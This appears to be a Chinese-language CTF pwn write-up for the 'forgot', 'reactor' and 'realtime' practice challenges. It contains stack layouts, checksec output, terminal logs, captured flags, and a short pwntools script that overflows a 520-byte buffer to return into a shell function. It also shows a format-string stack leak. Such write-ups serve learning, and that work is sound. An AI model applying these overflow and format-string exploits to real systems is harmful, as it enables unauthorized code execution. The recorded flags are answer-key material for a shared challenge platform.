-00000074 v2 db 32 dup(?) -00000054 v3 db 40 dup(?) -0000002C s db 32 dup(?) ; string(C) -0000000C v5 dd ? -00000008 i dd ? -00000004 var_4 dd ? +00000000 s db 4 dup(?) +00000004 r db 4 dup(?) +00000008 +00000008 ; end of stack variables
┌──(kali㉿Executor)-[/mnt/c/Users/86135/Desktop/pwn/forgot] └─$ python3 exp.py [+] Opening connection to 111.200.241.244 on port 51086: Done /mnt/c/Users/86135/Desktop/pwn/forgot/exp.py:23: BytesWarning: Text isnotbytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes sh.sendline('vader') [*] Switching to interactive mode I should give you a pointer perhaps. Here: 8048654
Enter the string to be validate > cyberpeace{4edfc4922cff2900b97255284e605051} [*] Got EOF while reading in interactive
错误想法
错误1
在循环伊始
1 2 3 4 5 6
for ( i = 0; ; ++i ) { v0 = i; if ( v0 >= strlen(v2) ) break; ....
-0000000000000200 v5 db 512 dup(?) +0000000000000000 s db 8 dup(?) +0000000000000008 r db 8 dup(?) +0000000000000010 +0000000000000010 ; end of stack variables
前512+8=520个字节随便溢出
后面八个字节溢出成shell函数的地址0x4005F6
属实有点儿弱智了
1 2 3 4 5 6 7 8 9 10 11
from pwn import *
sh=process('./reactor')
sh.recv()
payload=(520*'a').encode()+p64(0x4005f6);
sh.sendline(payload)
sh.interactive()
1 2 3 4 5 6
┌──(kali㉿Executor)-[/mnt/c/Users/86135/Desktop/pwn/reactor] └─$ python3 exp.py [+] Starting local process './reactor': pid 44 [*] Switching to interactive mode $ whoami kali
cyberpeace{a6053fab9ffe26d2ddc53ce7f78e08be}
实时数据监测
1 2 3 4 5 6 7 8 9
┌──(kali㉿Executor)-[/mnt/c/Users/86135/Desktop/pwn/realtime] └─$ checksec realtime [*] '/mnt/c/Users/86135/Desktop/pwn/realtime/realtime' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments
┌──(kali㉿Executor)-[/mnt/c/Users/86135/Desktop/pwn/realtime] └─$ python3 exp.py [+] Starting local process './realtime': pid 77 [*] Switching to interactive mode [*] Process './realtime' stopped with exit code 0 (pid 77) AAAA-0xf7f5ace0-0xff8a6a84-(nil)-0x1-0x80483a0-0xff8a6a28-0x80484e7-0xff8a6820-0x200-0xf7f2b580-(nil)-0x41414141-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d The location of key is 0804a048, and its value is 00000000,not the 0x02223322. (╯°Д°)╯︵ ┻━┻ [*] Got EOF while reading in interactive